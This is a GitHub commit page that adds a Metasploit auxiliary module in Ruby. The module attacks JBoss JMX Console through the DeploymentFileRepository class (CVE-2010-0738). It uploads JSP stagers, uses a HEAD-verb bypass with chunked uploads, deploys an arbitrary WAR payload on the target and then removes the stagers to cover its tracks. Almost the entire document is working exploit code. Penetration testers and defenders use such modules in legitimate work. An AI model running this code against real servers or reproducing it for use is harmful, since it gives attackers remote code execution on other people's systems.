Skip to content

Commit 4abfb84

Browse files
author
us3r777
committed
Upload WAR through Jboss DeploymentFileRepository
1 parent 738fc78 commit 4abfb84

File tree

1 file changed

+141
-0
lines changed

1 file changed

+141
-0
lines changed
Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::HTTP::JBoss
11+
12+
def initialize
13+
super(
14+
'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment',
15+
'Description' => %q{
16+
This module uses the DeploymentFileRepository class in
17+
JBoss Application Server (jbossas) to deploy a JSP file
18+
which then deploys the WAR file.
19+
},
20+
'Author' =>
21+
[
22+
'us3r777 <us3r777[at]n0b0.so>'
23+
],
24+
'References' =>
25+
[
26+
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
27+
[ 'OSVDB', '64171' ],
28+
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
29+
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]
30+
],
31+
'Actions' =>
32+
[
33+
['Deploy'],
34+
['Undeploy']
35+
],
36+
'DefaultAction' => 'Deploy',
37+
'License' => BSD_LICENSE,
38+
)
39+
40+
register_options(
41+
[
42+
Opt::RPORT(8080),
43+
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
44+
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
45+
], self.class)
46+
end
47+
48+
def deploy_action(app_base, war_data)
49+
stager_base = Rex::Text.rand_text_alpha(8+rand(8))
50+
stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
51+
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
52+
stager_contents = stager_jsp_with_payload(app_base, encoded_payload)
53+
54+
if http_verb == 'POST'
55+
print_status("#{peer} - Deploying stager for the WAR file...")
56+
res = upload_file(stager_base, stager_jsp_name, stager_contents)
57+
else
58+
print_status("#{peer} - Deploying minmial stager to upload the payload...")
59+
head_stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
60+
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
61+
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
62+
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
63+
64+
# We split the stager_jsp_code in multipe junks and transfer on the
65+
# target with multiple requests
66+
current_pos = 0
67+
while current_pos < stager_contents.length
68+
next_pos = current_pos + 5000 + rand(100)
69+
vars_get = { 'arg0' => stager_contents[current_pos,next_pos] }
70+
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
71+
res = deploy('uri' => head_stager_uri,
72+
'vars_get' => vars_get)
73+
current_pos += next_pos
74+
end
75+
end
76+
77+
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
78+
# but the file still gets written.
79+
unless res && ( res.code == 200 || res.code == 500)
80+
fail_with(Failure::Unknown, "Failed to deploy")
81+
end
82+
83+
print_status("#{peer} - Calling stager to deploy the payload warfile (might take some time)")
84+
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
85+
stager_res = deploy('uri' => stager_uri,
86+
'method' => 'GET')
87+
88+
if res && res.code == 200
89+
print_good("#{peer} - Payload deployed")
90+
else
91+
print_error("#{peer} - Failed to deploy final payload")
92+
end
93+
94+
# Cleaning stagers
95+
print_status("#{peer} - Undeploying stagers via DeploymentFileRepository.remove()...")
96+
print_status("#{peer} - This might take some time, be patient...") if http_verb == "HEAD"
97+
delete_res = []
98+
if head_stager_jsp_name
99+
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
100+
end
101+
delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
102+
delete_res << delete_file('./', stager_base + '.war', '')
103+
delete_res.each do |res|
104+
if !res
105+
print_warning("#{peer} - Unable to remove WAR [No Response]")
106+
elsif (res.code < 200 || res.code >= 300)
107+
print_warning("#{peer} - WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
108+
end
109+
end
110+
end
111+
112+
def undeploy_action(app_base)
113+
# Undeploy the WAR and the stager if needed
114+
print_status("#{peer} - Undeploying #{app_base} via DeploymentFileRepository.remove()...")
115+
print_status("This might take some time, be patient...") if http_verb == "HEAD"
116+
res = delete_file('./', app_base + '.war', '')
117+
118+
if !res
119+
print_error("#{peer} - Unable to remove WAR (no response)")
120+
elsif res.code < 200 || res.code >= 300
121+
print_error("#{peer} - Unable to remove WAR [#{res.code} #{res.message}]")
122+
else
123+
print_good("#{peer} - Successfully removed")
124+
end
125+
end
126+
127+
def run
128+
app_base = datastore['APPBASE']
129+
130+
case action.name
131+
when 'Deploy'
132+
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
133+
fail_with("Unable to open WARFILE")
134+
end
135+
war_data = File.read(datastore['WARFILE'])
136+
deploy_action(app_base, war_data)
137+
when 'Undeploy'
138+
undeploy_action(app_base)
139+
end
140+
end
141+
end

0 commit comments

Comments
 (0)